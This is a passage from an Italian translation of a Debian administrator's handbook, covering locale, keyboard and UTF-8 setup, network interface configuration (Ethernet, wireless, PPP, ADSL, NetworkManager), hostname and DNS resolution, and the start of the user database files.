La prima domanda chiederà di selezionare la "localizzazione" da includere. Selezionare tutte le localizzazioni inglesi (ovvero quelle che iniziano con "en_") è una scelta ragionevole. Non si esiti a scegliere altre localizzazioni se la macchina sarà utilizzata da utenti stranieri. L'elenco dell localizzazioni abilitate sul sistema è conservato nel file /etc/locale.gen. È possibile modificare manualmente questo file, ma si deve eseguire locale-gen dopo ogni modifica. Questo genera i file necessari per il corretto funzionamento delle localizzazioni aggiunte e rimuove i file obsoleti.

La seconda domanda, intitolata "Localizzazione predefinita per l'ambiente di sistema", richiede di impostare la localizzazione predefinita. La scelta consigliata negli USA è "en_US.UTF-8". Gli inglesi britannici preferiranno "en_GB.UTF-8", i canadesi "en_CA.UTF-8" ed i francesi, "fr_CA.UTF-8". Il file /etc/default/locale verrà quindi modificato per memorizzare questa scelta. Da lì, verrà letto da tutte le sessioni utente e PAM assegnerà il suo contenuto alla variabile d'ambiente LANG.

Il pacchetto locales-all contiene i dati precompilati di tutte le localizzazioni supportate.

DIETRO LE QUINTE /etc/environment e /etc/default/locale

Il file /etc/environment permette ai programmi login, gdm, o anche ssh di impostare le variabili d'ambiente corrette.

Queste applicazioni non creano queste variabili direttamente, ma attraverso il modulo PAM (pam_env.so). PAM (Pluggable Authentication Module) è una libreria modulare che accentra i meccanismi per l'autenticazione, l'inizializzazione della sessione e la gestione delle password. Si veda Sezione 11.7.3.2, «Configurare PAM» per un esempio di configurazione PAM.

Il file /etc/default/locale funziona in modo simile, ma contiene solo la variabile d'ambiente LANG. Grazie a questa divisione, alcuni utenti PAM erediteranno un ambiente completo senza localizzazione. Infatti, è generalmente sconsigliato eseguire programmi server con la localizzazione abilitata; d'altra parte, la localizzazione e le impostazioni internazionali sono raccomandate per i programmi che aprono le sessioni degli utenti.

8.1.2. Configurare la tastiera

Anche se il layout della tastiera viene gestito in modo diverso in console ed in modalità grafica, Debian offre un'interfaccia di configurazione unica che funziona per entrambi: si basa su debconf ed è implementata nel pacchetto keyboard-configuration. Perciò per rispristinare il layout della tastiera si può utilizzare in qualsiasi momento il comando dpkg-reconfigure keyboard-configuration.

Le domande riguardano la disposizione fisica della tastiera (una tastiera PC standard negli Stati Uniti sarà una "Generica 104 tasti"), quindi il layout da scegliere (genericamente "US"), e quindi la posizione del tasto AltGr (Alt di destra). Per ultima arriva la domanda a proposito di quale tasto usare per la funzione "Compose", che consente di inserire i caratteri speciali combinando la pressione di più tasti. Digitare in sequenza Compose ' e produce una "e" accentata ("é"). Tutte queste combinazioni sono descritte nel file /usr/share/X11/locale/en_US.UTF-8/Compose (oppure un altro file, determinato in base alla localizzazione corrente indicata in /usr/share/X11/locale/compose.dir).

Si noti che la configurazione della tastiera per la modalità grafica descritta qui interessa unicamente la diposizione predefinita: gli ambienti GNOME e KDE Plasma, tra gli altri, forniscono un pannello di controllo della tastiera tra le proprie preferenze consentendo ad ogni utente di avere la propria configurazione. Inoltre, in questi pannelli di controllo, sono disponibili alcune opzioni aggiuntive riguardanti il comportamento di alcuni tasti particolari.

8.1.3. Migrare ad UTF-8

La generalizzazione della codifica UTF-8 è stata una soluzione attesa a lungo per le numerose difficoltà con l'interoperabilità, poiché facilita lo scambio internazionale e rimuove i limiti arbitrari sui caratteri che possono essere utilizzati in un documento. L'unica controindicazione è che si è dovuta attraversare una fase di difficile transizione. Poiché non ha potuto essere completamente trasparente (cioè, non è potuta avvenire contemporaneamente in tutto il mondo), due operazioni di conversione sono state necessarie: una sul contenuto dei file e l'altra sul loro nome. Fortunatamente la maggior parte di questa migrazione è stata completata e ne discuteremo più ampiamente per riferimento.

CULTURA Mojibake ed errori di interpretazione

Quando un testo è inviato (o conservato) senza informazioni circa la codifica, non è sempre possibile per il destinatario sapere con certezza quale convenzione usare per determinare il significato di un insieme di byte. Generalmente, è possibile farsi un'idea in proposito ottenendo statistiche circa la distribuzione dei valori nel testo, ma questo non fornisce sempre una risposta definitiva. Quando la codifica scelta per la lettura di un file differisce da quella usata per la scrittura, i byte non vengono interpretati correttamente ed avremo, nel migliore dei casi errori su alcuni caratteri, nel peggiore qualcosa di completamente illeggibile.

Così, se un testo francese appare normale con l'eccezione delle lettere accentate e di certi simboli che appiono sostituiti con sequenze di caratteri come "Ã©" o "Ã¨" o "Ã§", si tratta probabilmente di un file codificato con UTF-8 ma interpretato come ISO-8859-1 o ISO-8859-15. Questo è sintomo di una installazione locale che non è ancora stata migrata ad UTF-8. Se invece si vedono punti di domanda al posto delle lettere accentate, anche se questi punti di domanda sembrano sostituire anche il carattere che dovrebbe seguire la lettera accentata, molto probabilmente l'installazione è già configurata per UTF-8 ma è stato inviato un documento codificato con la codifica Western ISO.

Questo riguarda casi "semplici". Questi casi si verificano solo nella cultura occidentale, poiché l'Unicode (e l'UTF-8) è stato progettato per massimizzare i punti comuni con le codifiche storiche per i linguaggi occidentali basati sull'alfabeto latino, che consente di comprendere parti del testo anche se alcuni caratteri sono mancanti.

In configurazioni più complesse dove sono coinvolti, per esempio, due ambienti con due diversi linguaggi che non utilizzano lo stesso alfabeto, i risultati saranno spesso illeggibili, una serie di simboli astratti che non hanno nulla a che fare l'uno con l'altro. Questo è assai comune con le lingue asiatiche a causa del numero elevato di lingue e sistemi di scrittura. La parola giapponese mojibake è stata adottata per descrivere questo fenomeno. Quando appare la diagnosi è molto complessa e la soluzione più semplice è spesso quella di migrare ad UTF-8 da entrambe le parti.

Per ciò che riguarda i nomi dei file la migrazione può essere relativamente semplice. Lo strumento convmv (contenuto nell'omonimo pacchetto) è stato creato specificatamente a questo scopo: permette di rinominare i file da una codifica ad un'altra. L'uso di questo strumento è relativamente semplice, ma raccomandiamo di farlo in due fasi per evitare sorprese. L'esempio seguente illustra un ambiente UTF-8 che contiene nomi di directory codificati in ISO-8859-15 e l'uso del comando convmv per rinominarli.

$ ls travail/ Ic?nes ?l?ments graphiques Textes $ convmv -r -f iso-8859-15 -t utf-8 travail/ Starting a dry run without changes... mv "travail/�l�ments graphiques" "travail/Éléments graphiques" mv "travail/Ic�nes" "travail/Icônes" No changes to your files done. Use --notest to finally rename the files. $ convmv -r --notest -f iso-8859-15 -t utf-8 travail/ mv "travail/�l�ments graphiques" "travail/Éléments graphiques" mv "travail/Ic�nes" "travail/Icônes" Ready! $ ls travail/ Éléments graphiques Icônes Textes

Per il contenuto del file, le procedure di conversione sono più complesse a causa della vastità dei formati esistenti. Alcuni formati di file includono informazioni sulla codifica che facilitano il compito del software usato per trattarli: è sufficiente, in tal caso, aprire questi file e salvarli nuovamente specificando la codifica UTF-8. In altri casi, si dovrà specificare la codifica originale (ISO-8859-1 o "Western", o ISO-8859-15 o "Western (Euro)", secondo ciò che viene indicato) quando si apre il file.

Per file di testo semplice è possibile usare recode (contenuto nell'omonimo pacchetto) che consente la ricodifica automatica. Questo strumento ha numerose opzioni che è possibile specificare per modificare il suo comportamento. Noi raccomandiamo di consultare la documentazione, la pagina di manuale recode(1), oppure la pagina di info recode (più completa). In alternativa, iconv supporta più set di caratteri, ma ha meno opzioni.

8.2. Configurazione della rete

FONDAMENTALE Concetti di rete essenziali (Ethernet, indirizzo IP, sottorete, broadcast)

La maggior parte delle moderne reti locali usa il protocollo Ethernet, che divide i dati in piccoli blocchi chiamati frame e li trasmette sul cavo uno alla volta. La velocità dei dati varia dai 10 Mb/s per le vecchie schede Ethernet ai 10 Gb/s delle schede più recenti (attualmente la velocità più comune sta passando da 100 Mb/s a 10 Gb/s). I cavi usati più comunemente sono chiamati 10BASE-T, 100BASE-T, 1000BASE-T, 10GBASE-T o 40GBASE-T in base alla velocità che possono fornire in modo affidabile (la T sta per "twisted pair" ovvero doppino intrecciato); questi cavi terminano con un connettore RJ45. Esistono altri tipi di cavi, utilizzati principalmente per velocità superiori a 10 Gb/s.

Un indirizzo IP è un numero usato per identificare un'interfaccia di rete installata su un computer in una rete locale oppure su Internet. Nella versione attualmente più diffusa di IP (IPv4), questo numero è codificato in 32 bit e viene generalmente rappresentato come 4 numeri separati da punti (es. 192.168.0.1), ogni numero è compreso tra 0 e 255 (inclusi, che corrisponde a 8 bit di dati). La prossima versione del protocollo, IPv6, estenderà questo spazio di indirizzamento a 128 bit e gli indirizzi saranno generalmente rappresentati da una serie di numeri esadecimali separati dai due punti (es., 2001:db8:13bb:0002:0000:0000:0020, o 2001:db8:13bb:2::20 nella forma abbreviata).

Una maschera di sottorete (netmask) definisce tramite il proprio codice binario quale porzione di un indirizzo IP corrisponde alla rete, e quale specifica la macchina. Nell'esempio di configurazione di indirizzo statico IPv4 qui fornito, la maschera di sottorete 255.255.255.0 (24 "1" seguiti da 8 "0" nella rappresentazione binaria) indica che i primi 24 bit dell'indirizzo IP corrispondono alla rete mentre gli altri 8 specificano la macchina. In IPv6, in favore della leggibilità, solo i numeri "1" vengono espressi; la maschera di sottorete per una rete IPv6 potrà essere quindi 64.

L'indirizzo di rete è un indirizzo IP nel quale la parte che descrive la macchina è pari a 0. L'intervallo di indirizzi IPv4 in una rete completa è spesso indicato con la sintassi a.b.c.d/e, dove a.b.c.d è l'indirizzo della rete ed e è il numero dei bit interessati dalla parte che indica la rete in un indirizzo IP. Una rete ad esempio sarà quindi descritta come segue: 192.168.0.0/24. La sintassi è simile in IPv6: 2001:db8:13bb::/64.

Un router è una macchina che connette diverse reti l'una con l'altra. Tutto il traffico che arriva attraverso un router è instradato verso la rete corretta. Per fare questo il router analizza i pacchetti in arrivo e li ridirige in base all'indirizzo IP della loro destinazione. Il router è spesso indicato come "gateway": in questa configurazione lavora come una macchina che consente di uscire dalla rete locale (verso una rete estesa, come Internet).

L'indizzo speciale di broadcast connette tutte le postazioni in una rete. Non viene quasi mai instradato, funziona quindi solo all'interno della stessa rete. Questo significa che un pacchetto destinato all'indirizzo di broadcast non oltrepassa mai il router.

Questo capitolo si concentra sugli indirizzi IPv4 poiché sono attualmente i più utilizzati. I dettagli del protocollo IPv6 sono affrontati nella Sezione 10.6, «IPv6», ma i concetti rimangono gli stessi.

La rete viene configurata automaticamente durante l'installazione iniziale. Se Network Manager viene installato (che è il caso più frequente per le installazioni desktop complete), allora potrebbe essere che nessuna configurazione sia effettivamente richiesta (per esempio, se ti affidi al DHCP su una connessione cablata e non hai requisiti specifici). Se è richiesta una configurazione (per esempio, per un'interfaccia WiFi), allora verrà creato il relativo file in /etc/NetworkManager/system-connections/.

NOTA NetworkManager

Anche se Network Manager è particolarmente indicato in configurazioni di roaming (vedi Sezione 8.2.5, «Automatizzare la configurazione della rete per gli utenti in roaming»), è anche perfettamente utilizzabile come strumento predefinito di gestione della rete. È possibile creare "connessioni di sistema" che vengono utilizzate non appena il computer si avvia, sia manualmente con un file .ini simile a /etc/NetworkManager/system-connections/ sia attraverso uno strumento grafico (nm-connection-editor). Se stai usando ifupdown, ricordati di disattivare le voci in /etc/network/interfaces che vuoi vengano gestite da Network Manager.

→ https://wiki.gnome.org/Projects/NetworkManager/SystemSettings

→ https://developer.gnome.org/NetworkManager/1.30/ref-settings.html

Se Network Manager non è stato installato, allora l'installatore configurerà ifupdown creando il file /etc/network/interfaces. Una riga che inizia con auto definisce una lista di interfacce che saranno configurate automaticamente al boot dal servizio di networking. Nel caso siano presenti più interfacce è buona pratica mantenere le configurazioni in diversi file all'interno di /etc/network/interfaces.d/ come descritto nel riquadro FONDAMENTALE Directory terminanti in .d.

In un contesto server, ifupdown è lo strumento di configurazione di rete generalmente disponibile. Per questo ne discuteremo nelle prossime sezioni. Per ulteriori informazioni sulla sintassi del file di configurazione, leggere interfacce(5).

8.2.1. Interfaccia Ethernet

Se il computer dispone di una scheda Ethernet, la rete che vi sarà associata dev'essere configurata scegliendo uno tra i due metodi disponibili. Il metodo più semplice è la configurazione dinamica con DHCP, e richiede un server DHCP nella rete locale. Si può indicare il nome host desiderato, corrispondente all'hostname impostato nell'esempio seguente. Il server DHCP invia informazioni di configurazione appropriate per la rete.

Esempio 8.1. Configurazione DHCP

auto enp0s31f6 iface enp0s31f6 inet dhcp hostname arrakis

IN PRATICANomi delle interfacce di rete

Per impostazione predefinita, il kernel attribuisce nomi generici alle interfacce di rete, come eth0 (per Ethernet cablata) o wlan0 (per WiFi). Il numero in questi nomi è un semplice contatore incrementale rappresentante l'ordine in cui sono stati identificati. Con hardware moderno, quest'ordine (almeno in teoria) può cambiare ad ogni riavvio e, pertanto, i nomi predefiniti non sono affidabili.

Fortunatamente, systemd e udev sono in grado di rinominare le interfacce non appena appaiono. La politica dei nomi predefinita è dettata da /lib/systemd/network/99-default.link (vedere systemd.link(5) per una spiegazione della voce NamePolicy in quel file). In pratica, i nomi sono spesso basati sulla posizione fisica del dispositivo (in base a dov'è collegato) ed i nomi inizieranno con en per la rete Ethernet cablata e wl per la WiFi. Nell'esempio precedente, il resto del nome indica, in forma abbreviata, un numero di bus PCI (p) (0), un numero di slot (s31), un numero di funzione (f6). In questo modo il nome diventa prevedibile.

Ovviamente, si è liberi di ignorare questa politica e/o integrarla personalizzando i nomi di alcune interfacce specifiche. I nomi delle interfacce di rete si trovano nell'output di ip addr (o come nomi di file in /sys/class/net/).

In alcuni casi particolari potrebbe essere necessario disabilitare la denominazione prevedibile dei dispositivi di rete come descritto sopra. Per ottenere questo risultato, oltre a modificare la regola predefinita udev, è anche possibile avviare il sistema utilizzando i parametri del kernel net.ifnames=0 (ripristina il comportamento predefinito del kernel) e biosdevname=0.

Il predecessore dello schema di nomi prevedibili era chiamato "schema di nomi persistenti". Si utilizzava una regola udev per assegnare il nome del dispositivo in base all'indirizzo MAC. Questo schema è stato abbandonato e, con il rilascio di Debian 10 Buster, gli utenti sono stati incoraggiati a migrare verso nomi di dispositivi di rete prevedibili.

→ https://www.debian.org/releases/buster/amd64/release-notes/ch-information.en.html#migrate-interface-names

Una configurazione "statica" indica delle impostazioni di rete fisse. Ciò include perlomeno un indirizzo IP ed una maschera di sottorete; a volte vengono indicati anche indirizzi di rete e broadcast. Un router che connette verso l'esterno viene indicato come gateway.

Esempio 8.2. Configurazione statica

auto enp0s31f6 iface enp0s31f6 inet static address 192.168.0.3/24 broadcast 192.168.0.255 network 192.168.0.0 gateway 192.168.0.1

NOTA Indirizzi multipli

Non solo è possibile associare diverse interfacce ad una singola scheda di rete fisica, ma anche diversi indirizzi IP ad una singola interfaccia. Per assegnarli, basta creare diverse voci iface per lo stesso dispositivo. Ricordate inoltre che un indirizzo IP può corrispondere a molteplici nomi DNS e che anche un nome può corrispondere a molteplici indirizzi IP.

Come si può intuire le configurazioni possono essere piuttosto complicate, ma queste opzioni sono usate solo in casi veramente speciali. Gli esempi citati qui rappresentano le configurazioni tipiche.

8.2.2. Interfaccia wireless

Far funzionare le schede di rete wireless può essere un po' più difficile. Prima di tutto, spesso richiedono l'installazione di firmware proprietari che non sono installati di default in Debian. Inoltre, le reti wireless si affidano alla crittografia per limitare l'accesso ai soli utenti autorizzati, il che implica la memorizzazione di una chiave segreta nella configurazione della rete. Affrontiamo questi argomenti uno ad uno.

8.2.2.1. Installazione dei firmware necessari

Per prima cosa è necessario abilitare il repository non-free nel file sources.list di APT: vedere Sezione 6.1, «Compilazione del file sources.list» per i dettagli. Molti firmware sono proprietari, quindi si trovano in questo repository. Volendo, si può provare a saltare questo passaggio, ma se lo step successivo non troverà il firmware richiesto, riprovare solo dopo aver abilitato la sezione non-free.

Poi bisogna installare i pacchetti firmware-* appropriati. Se non sappiamo di quale pacchetto abbiamo bisogno, si può installare il pacchetto isenkram ed eseguire il comando isenkram-autoinstall-firmware. I pacchetti spesso prendono il nome dal produttore dell'hardware o dal modulo del kernel corrispondente: firmware-iwlwifi per le schede wireless Intel, firmware-atheros per Qualcomm Atheros, firmware-ralink per Ralink, ecc. Si consiglia di riavviare il sistema perché il driver del kernel, di solito, cerca i file del firmware solo quando viene caricato per la prima volta.

8.2.2.2. Voci specifiche per il wireless in /etc/network/interfaces

Le interfacce wireless possono essere gestite da ifupdown, ma ha bisogno dell'aiuto del pacchetto wpasupplicant che fornisce l'integrazione necessaria tra ifupdown ed il comando wpa_supplicant usato per configurare le interfacce wireless (quando è in uso la crittografia WPA/WPA2). La voce in /etc/network/interfaces deve essere estesa con due parametri supplementari per specificare il nome della rete wireless (ovvero il suo SSID) e la Pre-Shared Key (PSK).

Esempio 8.3. Configurazione DHCP per un'interfaccia wireless

auto wlp4s0 iface wlp4s0 inet dhcp wpa-ssid Falcot wpa-psk ccb290fd4fe6b22935cbae31449e050edd02ad44627b16ce0151668f5f53c01b

Il parametro wpa-psk può contenere la passphrase in chiaro o la sua versione con hash generata con wpa_passphrase SSID passphrase. Se si usa una connessione wireless non criptata, si deve inserire una voce wpa-key-mgmt NONE e nessuna wpa-psk. Per ulteriori informazioni sulle possibili opzioni di configurazione, consultare /usr/share/doc/wpasupplicant/README.Debian.gz.

A questo punto, si dovrebbe considerare di limitare i permessi di lettura su /etc/network/interfaces solo all'utente root, poiché il file contiene una chiave privata a cui non tutti gli utenti dovrebbero avere accesso.

STORIA Crittografia WEP

L'uso del protocollo di crittografia WEP, ormai deprecato, è possibile con il pacchetto wireless-tools. Per i dettagli, vedere /usr/share/doc/wireless-tools/README.Debian.

8.2.3. Connettersi con PPP attraverso un modem PSTN

Una connessione punto-punto (PPP) stabilisce una connessione intermittente: questa è la soluzione più comune per le connessioni realizzate con un modem telefonico (detto anche modem PSTN poiché la connessione transita nella rete telefonica pubblica).

Una connessione tramite modem telefonico richiede un account presso un provider di accesso, che include un numero telefonico, un nome utente, una password ed a volte uno specifico protocollo di autenticazione da utilizzare. Questo tipo di connessione si configura usando lo strumento pppconfig fornito dall'omonimo pacchetto Debian. Per impostazione predefinita, stabilisce una connessione chiamata provider (come nel Provider di servizi internet). Quando si hanno dubbi sul protocollo di autenticazione, scegliere PAP: è offerto dalla maggior parte dei provider di servizi Internet.

Dopo la configurazione è possibile connettersi usando il comando pon (fornendo il nome della connessione come parametro, quando il valore predefinito provider non è appropriato). Si può terminare il collegamento con il comando poff. Questi due comandi possono essere eseguiti dall'utente root, o da ogni altro utente, purché sia inserito nel gruppo dip.

8.2.4. Connessione attraverso un modem ADSL

Il termine generico "modem ADSL" ricopre una moltitudine di dispositivi con funzioni molto differenti. I modem più semplici da utilizzare con Linux sono quelli che dispongono di un'interfaccia Ethernet ( e non solo una porta USB). Questi sono tendenzialmente popolari: molti provider di servizi Internet ADSL prestano (o affittano) un "dispositivo" con interfacce Ethernet. In base al tipo di modem, la configurazione richiesta può variare molto.

8.2.4.1. Modem che supportano PPPOE

Alcuni modem Ethernet lavorano con il protocollo PPPOE (Point to Point Protocol over Ethernet). Lo strumento pppoeconf (dall'omonimo pacchetto) configurerà la connessione. Per farlo, modifica il file /etc/ppp/peers/dsl-provider con le impostazioni fornite e registra le informazioni di accesso nei file /etc/ppp/pap-secrets e /etc/ppp/chap-secrets. Si raccomanda di accettare tutte le modifiche proposte.

Quando la configurazione è completata è possibile avviare la connessione ADSL con il comando pon dsl-provider e terminarla con poff dsl-provider.

SUGGERIMENTO Avviare ppp all'avvio

Le connessioni PPP su ADSL sono, per definizione, intermittenti. Poiché solitamente non sono fatturate in base al tempo, esistono poche ragioni per non tenerle sempre attive. Di solito per farlo si utilizza il sistema di init.

Con systemd, l'aggiunta di un task per il riavvio automatico della connessione ADSL si riduce alla semplice creazione di un “file unit” come /etc/systemd/system/adsl-connection.service, con il seguente contenuto:

[Unit] Description=Connessione ADSL [Service] Type=forking ExecStart=/usr/sbin/pppd call dsl-provider Restart=always [Install] WantedBy=multi-user.target

Una volta definito il file unit, deve essere abilitato con systemctl enable adsl-connection. Poi il ciclo può essere avviato manualmente con systemctl start adsl-connection; che sarà avviato automaticamente all'avvio.

Sui sistemi che non usano systemd (compresa Wheezy e le versioni precedenti di Debian), lo standard SytemV funziona in modo diverso. In questi sistemi, tutto quello che bisogna fare è aggiungere una linea come la seguente alla fine del file /etc/inittab; quindi, ogni volta che la connessione verrà interrotta, initla riconnettrerà.

adsl:2345:respawn:/usr/sbin/pppd call dsl-provider

Per le connessioni ADSL che si auto-disconnettono giornalemente, questo metodo riduce la durata dell'interruzione.

8.2.4.2. Modem che supportano PPTP

Il protocollo PPTP (Point-to-Point Tunneling Protocol) è stato creato da Microsoft. Sviluppato agli albori dell'ADSL, è stato velocemente sostituito da PPPOE. Se questo protocollo è una scelta forzata per voi, si veda la Sezione 10.3.4, «PPTP».

8.2.4.3. Modem che supportano DHCP

Quando un modem è connesso al computer tramite un cavo Ethernet (cavo incrociato o crossover) si configura tipicamente una connessione di rete sul computer attraverso DHCP: il modem agisce automaticamente come gateway per default e si fa carico dell'instradamento (significa che gestisce il traffico di rete tra il computer ed Internet).

FONDAMENTALE Cavo incrociato per connessioni Ethernet dirette

Le schede di rete dei computer si aspettano di ricevere i dati su fili specifici all'interno del cavo e di inviare i propri dati su altri. Quando ci si connette ad un computer nella rete locale si connette generalmente un cavo (dritto o incrociato) tra la scheda di rete ed il ripetitore o switch. Tuttavia, qualora si voglia connettere due computer direttamente (senza nè switch nè ripetitore) è necessario indirizzare il segnale inviato da una scheda al lato ricevente dell'altra scheda e viceversa. Questo è lo scopo del cavo incrociato, nonché la ragione per cui è utilizzato.

Si noti che, nel tempo, questa distinzione è diventata quasi irrilevante, poiché le moderne schede di rete sono in grado di rilevare il tipo di cavo presente ed adattarsi di conseguenza, quindi non sarà insolito che entrambi i tipi di cavo funzionino nella stessa posizione.

Molti "router ADSL" sul mercato possono essere utilizzati in questo modo, come fanno la maggior parte dei modem ADSL forniti dai provider di servizi Internet.

8.2.5. Automatizzare la configurazione della rete per gli utenti in roaming

Molti ingegneri della Falcot hanno un computer portatile che utilizzano, per scopi professionali, anche a casa. La configurazione di rete da usare dipende dalla posizione. A casa può esserci una rete wifi (protetta da una chiave WPA), mentre sul luogo di lavoro è disponibile una rete cablata per una maggiore sicurezza e velocità.

Per evitare di doversi manualmente connettere o disconnettere alle corrispondenti interfacce di rete, gli amministratori hanno installato il pacchetto network-manager su queste macchine in roaming. Questo software abilita l'utente a passare facilmente tra una rete ed un'altra utilizzando la piccola icona visualizzata nell'area notifiche del desktop grafico. Cliccando su questa icona si visualizza una lista di reti disponibili (sia via cavo che wireless) così è possibile scegliere semplicemente la rete che si intende utilizzare. Il programma salva la configurazione per le reti alle quali l'utente si è già connesso ed automaticamente passa alla miglior rete disponibile quando la connessione corrente si interrompe.

Per poter far ciò, il programma è strutturato in due parti: un demone eseguito come root gestisce l'attivazione e la configurazione delle interfacce di rete ed una interfaccia utente controlla questo demone. Il PolicyKit gestisce le autorizzazioni richieste per controllare questo programma ed in Debian il PolicyKit è stato configurato in modo tale che solo i membri del gruppo netdev possono aggiungere o modificare le connessioni del Network Manager.

Network Manager sa come gestire i vari tipi di connessioni (DHCP, configurazione manuale, rete locale), ma solo se la configurazione è effettuata tramite il programma stesso. Per questo motivo ignorerà sistematicamente tutte le interfacce di rete in /etc/network/interfaces e /etc/network/interfaces.d/ per le quali non è adatto. Poiché Network Manager non fornisce dettagli quando non vengono mostrate connessioni di rete, il modo più semplice è cancellare da /etc/network/interfaces le configurazioni delle interfacce che devono essere gestita da Network Manager.

Si noti che questo programma è installato in via predefinita quando viene scelto di installare l'ambiente grafico durante l'installazione iniziale.

8.3. Impostare il nome host e configurare il servizio dei nomi

Lo scopo di assegnare dei nomi agli indirizzi IP è quello di rendere più facile la memorizzazione per le persone. In verità, un indirizzo IP identifica un'interfaccia di rete associata con un dispositivo come una scheda di rete. Poiché ogni macchina può avere più schede e più interfacce per ogni scheda, un singolo computer può avere più nomi nel sistema dei nomi di dominio.

Ogni macchina è tuttavia identificata da un nome principale (o "canonico") conservato nel file /etc/hostname e comunicato al kernel Linux tramite gli script di inizializzazione attraverso il comando hostname. Il valore corrente è disponibile in un filesystem virtuale e lo si può ottenere con il comando cat /proc/sys/kernel/hostname.

FONDAMENTALE /proc/ e /sys/, filesystem virtuali

Le strutture di file /proc/ e /sys/ sono generate da file system "virtuali". È un modo pratico per recuperare informazioni dal kernel (elencando dei file virtuali) o per comunicare informazioni al kernel (scrivendo sui file virtuali).

In particolare, /sys/ è stata progettata per fornire accesso agli oggetti interni del kernel, soprattutto a quelli che rappresentano i dispositivi del sistema. Il kernel può così condividere varie informazioni: lo stato di ogni dispositivo (ad esempio, se è in modalità di risparmio energetico), se è un dispositivo rimovibile, ecc. Si noti che /sys/ esiste solo dalla versione 2.6 del kernel. Lo stato attuale del kernel è descritto tramite/proc/: i file in questa directory contengono informazioni sull'hardware e sui processi in esecuzione.

Sorprendentemente, il nome del dominio non è gestito allo stesso modo, ma viene ricavato dal nome completo della macchina, acquisito tramite la risoluzione dei nomi. È possibile cambiarlo nel file /etc/hosts; si scriva semplicemente un nome completo per la macchina all'inizio della lista di nomi associati all'indirizzo della macchina, come nell'esempio che segue:

127.0.0.1 localhost 192.168.0.1 arrakis.falcot.com arrakis

8.3.1. Risoluzione dei nomi

Il meccanismo per la risoluzione dei nomi in Linux è modulare e può utilizzare svariate sorgenti di informazione dichiarate nel file /etc/nsswitch.conf. L'elemento che coinvolge la risoluzione dei nomi host è hosts. Per impostazione predefinita, contiene dns files; che significa che il sistema consulta prima di tutto il file /etc/hosts, quindi i server DNS. Server NIS/NIS+ o LDAP sono altre possibili sorgenti.

NOTA NSS e DNS

È bene ricordare che comandi specificatamente intesi per interrogare i DNS (specialmente host) non utilizzano il meccanismo standard per la risoluzione dei nomi (NSS). Conseguentemente non prendono in considerazione /etc/nsswitch.conf e, pertanto, nemmeno /etc/hosts.

8.3.1.1. Configurare i server DNS

DNS (Domain Name Service) è un servizio distribuito e gerarchico che mappa i nomi agli indirizzi IP e vice-versa. In particolare converte un nome semplice da utilizzare come www.eyrolles.com nell'indirizzo IP corrispondente, 213.244.11.247.

Per accedere alle informazioni DNS, un server DNS dev'essere disponibile ad inoltrare le richieste. La Falcot ne ha uno proprio, ma un singolo utente utilizzerà probabilmente i server DNS forniti dal proprio provider dei servizi Internet.

I server DNS da utilizzare sono indicati in /etc/resolv.conf, uno per riga, con la parola chiave nameserver anteposta all'indirizzo IP, come nell'esempio seguente:

nameserver 212.27.32.176 nameserver 212.27.32.177 nameserver 8.8.8.8

Si noti che il file /etc/resolv.conf può essere gestito automaticamente (e sovrascritto) quando la rete è gestita da NetworkManager, configurata tramite DHCP, quando resolvconf è installato o systemd-resolved(8) è abilitato.

8.3.1.2. Il file /etc/hosts

Se non esiste un DNS nella rete locale, è comunque possibile creare una piccola tabella per mappare gli indirizzi IP ed i nomi host delle macchine nel file /etc/hosts. La sintassi di questo file, descritta in hosts(5) è molto semplice: ogni riga indica un indirizzo IP specifico seguito dall'elenco dei nomi associati (il primo è "completamente qualificato", cioè include il nome di dominio).

Questo file è disponibile anche quando la rete non è disponibile o quando i server DNS non sono raggiungibili, ma è realmente utile solo quando viene distribuito su tutte le macchine nella rete. La minima alterazione nelle corrispondenze richiede che il file sia aggiornato ovunque. Ecco perché /etc/hosts contiene generalmente solo le voci più importanti.

Questo file è sufficiente per una piccola rete non connessa ad Internet, ma con 5 macchine o più è raccomandato di installare un server DNS.

SUGGERIMENTO Aggirare i DNS

Poiché le applicazioni controllano il file /etc/hosts prima di interrogare i DNS, è possibile includervi informazioni diverse da quelle che il DNS fornirebbe, aggirando di conseguenza la normale risoluzione dei nomi basata sul DNS.

Questo consente, qualora le modifiche DNS non siano ancora propagate, di verificare l'accesso ad un sito con il nome desiderato anche se quest'ultimo non è ancora adeguatamente mappato all'indirizzo IP.

Un altro possibile utilizzo è quello di reindirizzare, sulla macchina locale, il traffico destinato ad uno specifico host, impedendo così qualsiasi comunicazione con esso. Per esempio, i nomi host dei server che inviano banner pubblicitari potrebbero essere deviati per aggirare questi annunci rendendo la navigazione più fluida, meno dispersiva.

8.4. Database di utenti e gruppi

La lista degli utenti è generalmente memorizzata nel file /etc/passwd, mentre il file /etc/shadow memorizza l'hash delle password. Entrambi sono file di testo, in un formato relativamente semplice, che può essere letto e modificato con un editor. Ogni utente è elencato su una riga con diversi campi separati dai due punti (“:”).

NOTA Modificare i file di sistema

I file di sistema menzionati in questo capitolo sono tutti file di testo semplice, che possono essere modificati con un editor di testo. Considerata la loro importanza per le funzionalità primarie del sistema, è sempre una buona idea prendere precauzioni addizionali quando si modificano questi file di sistema. Prima di tutto, fare sempre una copia o un backup del file di sistema prima di aprirlo o alterarlo. Secondo, sui server o sulle macchine dove più di una persona può avere potenzialmente accesso allo stesso file allo stesso tempo, procedere con ulteriori precauzioni per evitare la corruzione dei file.

Per questo proposito è sufficiente usare il comando vipw per modificare il file /etc/passwd, oppure vigr per modificare /etc/group. Questi comandi bloccano il file in questione prima di eseguire l'editor di testo ((vi in via predefinita, a meno che la variabile d'ambiente EDITOR non sia stata modificata). L'opzione -s in questi comandi consente di modificare il file shadow corrispondente.

FONDAMENTALE Crypt, una funzione a senso unico

crypt è una funzione a senso unico che trasforma una stringa (A) in un'altra stringa (B) in modo tale che A non possa essere ricavata da B. L'unico modo per identificare A è provare tutti i possibili valori, controllando per ognuno se la trasformazione prodotta dalla funzione produce B oppure no. Utilizza fino a 8 caratteri come input (stringa A) e genera una stringa di 13 caratteri, stampabili ASCII, (stringa B).

8.4.1. Lista utenti: /etc/passwd

Questa è la lista dei campi nel file /etc/passwd:

login, per esempio rhertzog;

password: si tratta di una password crittografata da una funzione unidirezionale (crypt), basandosi su DES, MD5, SHA-256 o SHA-512. Il valore speciale "x" indica che la password criptata è memorizzata in /etc/shadow;

uid: numero univoco che identifica ciascun utente;

gid: numero univoco che identifica il gruppo principale dell'utente (Debian crea in via predefinita un gruppo specifico per ogni utente);

GECOS: campo dati che normalmente contiene il nome completo dell'utente;

directory di login, assegnata all'utente per conservare i propri file personali (la variabile d'ambiente $HOME punta generalmente qui);

